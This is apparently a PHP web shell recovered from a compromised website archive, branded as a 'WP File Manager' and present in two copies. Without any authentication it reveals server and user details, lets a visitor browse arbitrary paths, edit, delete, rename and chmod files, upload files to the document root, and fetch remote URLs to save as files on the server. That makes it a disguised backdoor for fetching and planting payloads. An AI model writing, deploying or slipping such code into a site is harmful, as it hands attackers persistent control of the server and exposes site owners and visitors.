'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëinfo@gazetaliria.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
